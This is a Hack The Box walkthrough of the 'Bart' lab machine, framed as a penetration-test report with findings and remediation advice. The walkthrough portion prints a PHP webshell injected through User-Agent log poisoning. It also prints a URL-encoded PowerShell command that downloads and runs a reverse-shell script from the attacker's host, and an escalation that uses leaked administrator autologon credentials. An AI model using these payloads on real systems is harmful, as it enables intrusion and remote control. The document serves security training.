HTB Walkthrough within, ctrl+F for “Root Flag” to quick search
Findings/Recommendations at bottom
Key Takeaways
The network was vulnerable to multiple discovery and enumeration/scanning techniques that gave the attackers a good knowledge base of the company directory and a wordlist of passwords and usernames to attempt to login with (Ref 1.1, 1.2, 1.3). Advisory measures included configurations to block these automated scans (further explanation provided in Findings sections).
Moreso, there were misconfigurations in how the login portals worked, including outputting to the user if a username existed or not, which gave the attackers knowledge of particular usernames to attempt to gain unauthorized access with (Ref 1.4).
Additionally, the lack of a properly configured password policy allowed an attacker to easily guess a password based off of the name of an employee (Ref 1.5).
Another key finding involved a chat program being used for internal communications that contained source code (how it works) easily found online, which let an attacker know how it could be exploited and taken advantage of, giving them access to view internal communications by developers and team members originally meant to stay private (Ref 1.6)
Yet another vulnerability discovered was the ability of the attacker to modify information sent to the webserver to exploit the system in place (1.7)
Login credentials for the administrator account were easily found and were available to the attacker from a simple vulnerability scanning technique, which gave the attacker total control of the system (Ref 1.8)
Finally, the entire device’s storage system was able to be copied and exported for analysis (Ref 1.9)
Objectives
Obtain the user flag by gaining any kind of remote access to the target machine/environment and extract the “user flag” string of characters, then escalate privileges, often to the “root” user or system owner to then get the “root flag,” typically only accessible by this user.
Overview of Steps
- Discovery
- Port 80 Enumeration
- Dirbuster Scan
- Wfuzz
- /Monitor/ Enumeration
- Brute Forcing PHP Server Monitor Login
- Burpsuite
- Logged into Server Monitor
- Enumerating Internal-01
- Creating Account on Register.php
- Handcrafting POST Request in Burp
- User-Agent Modification/Poisoning
- Creating a Webshell
- Shell as nt authority\iusr
- Autologon Net-Use Exploit
Attack Path
Discovery
To begin, we ran an nmap scan on this box, as we typically do. This shows us what ports and services are available and running on this target machine.
nmap -sV -sC -p- 10000 10.129.235.175
From this, we were shown one open port with http running on it, so we checked out the webpage associated with this address.
Also of note is the http-title we are given:
Port 80 Enumeration
When we navigated to this IP address, we were given an error, but were shown the same server name.
Since we were using a Linux machine, we changed our /etc/hosts file to resolve this IP address to the corresponding domain name.
A quick command let us do this:
Sudo nano /etc/hosts
We then refreshed our page:
After poking around a bit, we came across some things to note:
A list of team members, including their first and last name, along with their titles:
We also found another name: Daniella Lamborghini
At the bottom of the page, we found the address, phone number, and email address. The first two are fine, but the last one can tip off the naming schema that the directory follows, including the domain name of bart.htb.
Nothing too immediately vulnerable here, just a few pieces of information we can gather. From here, we decided to see if gobuster could find any other webpages we could check out.
Dirbuster Scan
After a few minutes, we immediately got back some results.
Some larger directories with numbered titles for names. While we let it keep running, we decided to go back to our browser and check out if we had access to these.
/02/ gave an error, and so did the other 2.
Since this resulted in nothing, we decided to try another tool called Wfuzz to see if we could find anything else.
Wfuzz
We used the following command:
wfuzz — hh 150693 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bart.htb/FUZZ
wfuzz: This is the command itself, indicating the use of the wfuzz tool.
— hh 150693: This flag sets the highlighting threshold. It means that only responses with a response size of at least 150,693 bytes will be highlighted.
-z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: This option specifies the payload to be used in the fuzzing process. It uses a wordlist file located at /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt to fuzz the URL.
http://bart.htb/FUZZ: This is the target URL. The FUZZ keyword is a placeholder that will be replaced by each entry in the wordlist during the fuzzing process.
After running this, we came across 2 new directories to check out: “forum” and “monitor.”
/Monitor/ Enumeration
When we navigate to this page in our browser, we come across a login page.
We take note of the bottom, where we see “PHP Server Monitor v3.2.1,” and then we can try guessing usernames based on the employee names we found from the publicly available website.
No default sets of credentials worked, so we tried using Forgot Password to see if we could guess the name of a valid username.
After a few failed guesses, we discovered 2 that we know there are accounts with the username of, Daniel and Harvey. We then decided to try to brute force this login.
Brute Forcing PHP Server Monitor Login
To brute force, we needed a list to go off, so we used “cewl,” a wordlist creation tool.
We entered the following command to make a wordlist:
cewl -w cewl-forum.txt -e -a http://forum.bart.htb
This output the results into a .txt file.
Before we look into actually launching a brute force with our wordlist, we need to capture a login request in burp to see what is being sent.
Burpsuite
We turned on our proxy for Burpsuite in our browser and then sent a request, not before turning on monitor in Burpsuite. After hitting send, our burp app opened:
We can see that a CSRF token is being used, which we need to take note of, if we are to brute force this.
Before looking around for a script to automate this process or perhaps writing our own, let’s try some of the words manually to see if one might work and a weak password was used.
After trying for a long time of manually entering passwords from our cewl-generated list, we found the password “potter” to work, simply his last name. We were redirected again, so we need to append the new URL to our /etc/hosts file (monitor.bart.htb).
Logged into Server Monitor
Now that we had access to this, we could poke around some more, this time as an internal authorized user.
Clicking on the Internal chat opened a dashboard for it:
We took note of http://internal-0.bart.htb/
The log page did not have any entries.
The profile page had some more information.
A new email, h.potter@bart.local was shown to us. This new domain name seemed to be popping up a bit, so we decided to see if there was something we could do with it. To navigate to it, we needed to once again append internal-01.bart.htb to our /etc/hosts file.
Enumerating Internal-01
After navigating to this page in our browser, we were met with the following page:
Another login. Our prior set of credentials of Harvey:potter did not work, as this password said it required 8 characters at minimum. Looking at the page source revealed some additional information, including a css page.
Whatever this was, it was written by Manolis Agkopian.
Googling for this name, along with “simple chat” revealed a github page for what seemed to be the source code for this.[1]
[1] GitHub — magkopian/php-ajax-simple-chat: This is the ‘Simple Chat ;)’, a simple AJAX chat application written in PHP and Javascript with jQuery.
Very interesting, in this repo, was the /register.php page.
If this was still live on the webserver, we could try registering and using a self-created account to gain access to whatever was hiding behind this login page, which I exactly what we did.
Creating Account on Register.php
When we checked out his page, we were given another error.
It seemed as though we would have to send a handcrafted request in burp, after looking at the source code in the repository.
Handcrafting POST Request in Burp
To begin, we started our proxy again and opened up the GET request in burp.
We needed to change this to a POST request, while also passing two parameters, a uname and passwd.
After sending this to the repeater, we could make the required changes.
We also had to change the webpage this was being sent to /register.php, not register_form.php.
We could now try our new credentials, test:password.
This didn’t work, we were still given invalid credentials warning.
We tried using a curl command instead, passing the parameters along in our CLI, rather than burp.
curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d “uname=test&passwd=password”
This did in fact work, as we now gained access to the chat log/history.
While there was nothing to be seen here immediately, we had to poke around further to find that when we clicked “Log” in the top right, we got 2 pop-ups, first saying “Done,” then saying “1.”
To see what was making this happen, we opened up the page source:
It seemed as though some sort of log was being sent to log_chat.php;
After navigating to the page displayed, we were simply met with a “1.”
This meant that it was true that the logs were saved, so we just had to find them.
It appeared that the logs were being saved to log_chat.php.
We could not find this at first.
Since we could navigate to this page, we checked for if we could navigate to the ?filename=log.php page without entering credentials.
This seemed to be a good thing, as we could throw in whatever we wanted.
User-Agent Modification/Poisoning
We now just needed to capture the request and change the user agent field to include a command to test if we had RCE.
We captured a request to the log.php page and sent it to the repeater.
We then modified the user-agent field to include a command to test this theory.
We threw this in for our User-Agent:
<?php phpinfo(); ?>
This gave us a good response, but we needed to see it in our browser to see if it worked, or if it just gave us a default “1” response.
After poking around to why this failed for a little while, we were sending a packet to the log.txt file, not the .php script.
After changing this, we then sent it again.
Success, this gave us what we wanted to see.
We then created a webshell with another PHP command we have saved.
Creating a Webshell
We used this command in our User-Agent Field for our webshell, passing along command “id”.
<?php system($_GET[“cmd”]); ?>
In our browser, we also passed cmd=whoami as a parameter to be executed. Scrolling down, we were shown that we had a webshell, and this was acting as nt authority.
This was great news. From here, we just needed a way to get powershell or some other sort of command execution.
From here, we decided to go with Nishang’s Invoke-Powershell script[1], which we will need to modify and add a line at the bottom, to execute immediately.
[1] GitHub — samratashok/nishang: Nishang — Offensive PowerShell for red team, penetration testing and offensive security.
After we changed this to our local machine address, we can then stand up a http server on our local machine in this directory and then grab the file from our RCE in our browser.
We then use the following command:
powershell%20IEX%28New-Object%20Net.WebClient%29.downloadString%28%27http%3A%2F%2F10.10.14.8%3A80%2FInvoke-PowerShellTcp.ps1%27%29
(Above is URL encoded)
After entering this command and launching a netcat listener on our specified port, we get our reverse shell.
Shell as nt authority\iusr
Since we cannot do much as this user, we need to look for additional vulnerabilities, so we used WinPEAS to scan for any.
We stood up another http server on our local machine in the directory holding winPEAS, and then used the following command to grab it:
We could now run this to see what was vulnerable.
After parsing through the entire output, we came across a very interesting section.
It appears as though some Autologon credentials were found, and we took note of these.
DefaultDomainName : DESKTOP-7I3S68E
DefaultUserName : Administrator
DefaultPassword : 3130438f31186fbaf962f407711faddb
We also need to see what privileges we have as the user we are currently logged in as.
After poking around for a bit for some ways to abuse Autologon credentials, we found a few different methods. We will use the simpler, shorter one.
Autologon Net-Use Exploit
This exploit will attempt to create a copy of the system’s C drive, which we will be able to view, edit, and execute. This will help us, and it gives us total control over our version of the C drive.
We used this command:
net use x: \\localhost\c$ /user:Administrator 3130438f31186fbaf962f407711faddb
We can then navigate to the Administrator desktop on the X: drive, where the C: drive was copied to.
User Flag: 7f06fe1c9333f3bfb65cd85f29937a35
Root flag: 1380ed3666a48c77e7094f8f12fdf4f4
Findings
1.1 Nmap Scan
The target machine was susceptible to having an nmap scan run against it.
“Nmap, a key tool in penetration testing, is used to discover hosts and vulnerabilities by probing network services. The official Nmap documentation https://nmap.org/book/ outlines its methodology, involving packet transmission and response analysis. While invaluable for identifying weaknesses, Nmap scans carry risks, potentially triggering security alerts and revealing the penetration test. Balancing its significance and associated risks is crucial for a successful penetration testing strategy.”
Risk
There are multiple risks associated with allowing an nmap scan to go undetected/unprevented. It can allow a threat actor to map out the network and gain more information about the infrastructure, operating system, and other services running on the network/machine. Any information that an attacker can get from their “discovery” phase is useful to them, and limiting the publicly facing interfaces that an attacker can encounter is a good idea.
Recommendations
There are ways to prevent, or at a minimum, detect an nmap scan or other network mapping scan performed against a network (Detecting a Scan > Penetration Testing and Network Defense: Performing Host Reconnaissance | Cisco Press):
· Intrusion Detection
IDSs are similar to home security systems (burglar alarms) that monitor entry or breach into your home or office. Like the home security systems, IDSs log an alarm entry into the network. Unlike most home systems, however, you can configure an IDS to actually fight back with TCP RSTs and SHUN commands in the efforts to stop further entry or damage to the network. Location it critical with these systems, just like a standard security camera is to a security guard. That is why most IDSs are located where they can see as much traffic as possible.
· Anomaly Detection Systems
Anomaly detection systems (also called profile-based detection systems) are designed to watch user or network profiles. For example, an anomaly detection system alarms if it notices a network that normally is at 30 percent utilization peak up to 90 percent for a long period.
· Misuse Detection System
Misuse detection uses pattern matching. These systems contain a database of hundreds of patterns and signatures that are used to match with traffic on a network cable. You can compare misuse detection to standard disk antivirus software, where the antivirus software scans your hard drive looking for patterns in programs and files that represent malicious alterations. Misuse detection reads frames and packets off a cable instead of a hard drive. These are the most commonly used detection systems today. However, they can quickly become out of date as new attacks emerge that are not within the signature database.
1.2 Company directory information available on public website
Risk
While not always considered and immediate risk, this is something to look out for. An attacker having knowledge of every employee’s first and last names can be a problem when it comes to them having to guess passwords or potentially social engineer certain employees. This also presents a risk when page crawlers are used to build a wordlist, as it is not unusual for directory usernames and passwords to involve an employee’s name, especially if left poorly configured and without complex password policies.
Recommendations
This is a more simple fix, I would recommend modifying or removing the company directory/”Meet the Team” section from the webpage. Rather than everybody’s first and last names, the website could have the employee first name, or if needed, their first name and last initial. This will make creating wordlists to be used in brute force attacks more difficult, along with finding information on employees to launch a social engineering attack them.
1.3 Gobuster Scan
Risk
The issue presented with the ability for an external party to perform a webpage discovery scan, like Gobuster or Dirbuster, is the fact that webpages that would not have been previously available to them would be immediately available, such as any login or administrative pages that are intended to be kept from external users to the company/organization. This knowledge can give threat actors an additional potential entry point, which expands the surface area of attack.
Recommendations
While defending against scans like this can be a challenging task, there are steps that can be taken to prevent this from occurring. This source of scanning has been called “vulnerability scanning” in the past and goes by a few different names. Categorized by OWASP (The Open Worldwide Application Security Project) as OAT-014[1], this risk usually involves a bot or other automated script parsing through commonly used webpage and extension names to see if the HTTP status code results in something other than a 404 Not Found code.
There are a few ways people typically prevent these scans from being run, most typically the following[2]:
· Hardening the security of your website infrastructure and network devices.
· Disabling technology and features that you no longer use or that are insecure.
· Enabling IPS/IDS on your network to detect scanning technology signatures.
· Patching systems and components as soon as the manufacturer releases an update.
· Performing vulnerability scanning and penetration testing to identify security holes.
There are also paid tools available to automatically defend and block these scans, such as DataDome[3], which blocks discovery and other fuzzing scans from being attempted against a network.
[1] https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning
[2] https://datadome.co/bot-management-protection/vulnerability-scanning-protection-for-websites-apps-apis/#:~:text=Common%20defense%20methods%20against%20malicious%20vulnerability%20scanning%20can,scanning%20and%20penetration%20testing%20to%20identify%20security%20holes.
1.4 “Forgot Password” Username Validation
Risk
This issue involved a login portal with a “Forgot Password” password recovery section. The issue with how it was built is in the output shown to the user after submitting a set of credentials to be recovered. The idea of having one of these systems itself is not malicious or inherently risky, rather the feedback concept is where the problem is here. Based on if the username provided by the user input existed in the system, two different outputs would be shown. See below:
Recommendations
This is another easy fix, simply change the feedback box to be the same, regardless of whether or not a valid username was submitted. Keeping the current feedback system provides no value to anyone, as they know if they entered their username/email correctly based on if they get the recovery email, and it only serves to check to see if attackers can guess a valid username. This would require an update or change to the system being used, which was likely an internally built and developed system, and if it was provided by a third party vendor, a change submission could be made to change how it works, or a new login portal created.
1.5 Simple Password Used
Risk
At this point in time, many people are aware of the need for more complex passwords. The password that the assessing team was able to “guess” without even brute forcing the login portal was simply the user’s last name. This was such an obvious and guessable password. Even including a number at the end could have made it much harder to guess. This is a risk because it allows for full, unauthorized access to a user’s account. The user’s last name, given that their username is their first name, is likely the second or third guessed password for someone trying to obtain access, behind either “Password” or the user’s first name again.
Recommendations
The recommendation for this is simple — change the password. Password/passphrase policy creation frameworks are publicly available, and the one that many professionals would recommend is the NIST SP 800–63–3[1]. All NIST (National Institute of Standards and Technology) is a United States government agency based on creation and development of technological standards, often creating publications adopted by organizations looking to follow studied and developed standards. This publication outlines password policies as having 5 guidelines[2]:
· Length — 8–64 characters are recommended.
· Character types — Nonstandard characters, such as emoticons, are allowed when possible.
· Construction — Long passphrases are encouraged. They must not match entries in the prohibited password dictionary.
· Reset — Required only if the password is compromised or forgotten.
· Multifactor — Encouraged in all but the least sensitive applications.
The adoption/creation of a similar password policy will help to defend against brute forcing and guessing organization passwords, which forces the attacker to find another vector of attack/point of entry.
[1] https://csrc.nist.gov/pubs/sp/800/63/3/upd2/final
[2] https://www.isaca.org/resources/isaca-journal/issues/2019/volume-1/nists-new-password-rule-book-updated-guidelines-offer-benefits-and-risk#:~:text=The%20password%20requirement%20basics%20under%20the%20updated%20NIST,not%20match%20entries%20in%20the%20prohibited%20password%20dictionary.
1.6 Open Source internal chat Exploit
Risk
The internal chat system used here was on the internal-01.bart.htb site, which we found through webpage discovery and other enumeration techniques. When we navigated to this page, we were met with another login portal, which fortunately, used a different password than the previous login portal we encountered.
When we first attempted to enter credentials, we were met with a message that a password must be at minimum, 8 characters, which was good, but did not have to be displayed, since it served no beneficial purpose, and in fact was a detriment, as it eliminated the use of guessing or brute forcing any passwords under 8 characters. From here, we viewed the page source, including the CSS file that built the webpage, which had a header stating where the code came from, and after google searching for the copyright name on the top, led us to a GitHub repository for the exact internal chat system used[1], letting us see the entire source code, giving us an inside look on how it could be exploited. From here, we found a /register.php page, which fortunately, was not publicly available to users, which was another well-configured thing. However, since we were able to see the source code for how accounts were created, we knew that we could capture a request sent to the page in Burpsuite, and from there, modify it to pass along a username and password that could be used to create an account, and from there, login with our newly created account to view the internal chat log for any additional information. To do this, we simply used a “curl” command in our Kali CLI to pass along a set of credentials that would register an account.
[1] https://github.com/magkopian/php-ajax-simple-chat/tree/master
Recommendations
To protect against this vulnerability, it is recommended to guard against non-browser attempts to access this webpage, or to take down this webpage/subdomain from being publicly available. Using an alternative like Microsoft Teams or WebEx for all internal communications could also help, as these are larger and more well-protected platforms that have few security risks and vulnerabilities. Using an open-source application likely saved costs, but opened the network up to more vulnerabilities, and allowed us another point of entry.
1.7 User-Agent Poisoning
Risk
After poking around in the source code of the internal chat system, it was revealed to us that we could modify the User-Agent field in the POST requests to the /log/log.php file on the webserver to include a web-shell command, a commonly performed exploit to obtain a web-shell and pass commands to be executed through POST requests in PHP scripts. This allows attackers to run commands to traverse directories, obtain information about the user performing these attacks, and even create a reverse shell back to their local machine to remotely connect to the network in an unauthorized manner, which is exactly what we did. To test this theory, we passed along a simple PHP command: <?php phpinfo(); ?>
If this was successful it would output the default PHP information and configuration page, which it did.
From here, we passed along a webshell command to test if we could pass along a “cmd” parameter to obtain RCE: <?php system($_GET[“cmd”]); ?>
This worked, as we could alter the URI in our web browser to execute commands.
In the above images, we passed along a “whoami” command and received the output to the command at the bottom of the page.
Recommendations
This exploit is also known as “Cache poisoning,” and involves manipulating packets sent to the http server. This can be defended by, as mentioned above, rejecting non-browser requests, done in a few ways[1]:
· Only cache static files
· Be wary of third-party software
· Don’t trust data found in http headers
· Use a strong CAPTCHA
[1] https://owasp.org/www-community/attacks/Cache_Poisoning
1.8 Autologon Credentials Found
Risk
After we were able to get a reverse shell on our local machine, we were able to place WinPEAS on the target machine and scan for vulnerabilities, which revealed to us some autologon credentials stored in plaintext.
This gave us the administrator username and password used, which is an immediate own of the box, especially if the password is not hashed and salted, which it was not.
Recommendations
To protect against this, it is advised that, if not possible, disabling automatic login on Windows using Netplwiz.
This can also be disabled in WinRegEdit:
1.9 Replicable C: Drive
Risk
The final major finding and vulnerability in this machine was the ability of a user to replicate the entire C: drive of the machine, which allowed the user to read, write, and execute any files or directories found in the storage system. This is an obvious vulnerability, as all sensitive material found in the storage system were compromised, and were able to be simply exported and analyzed both online and offline. While this can be useful sometimes, this option should be disabled unless necessary.
Recommendations
Microsoft has an option to disable this exact feature[1]. Below is quoted directly from Microsoft Windows documentation:
[1] https://learn.microsoft.com/en-us/azure/site-recovery/hyper-v-exclude-disk
Keywords
Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb bart
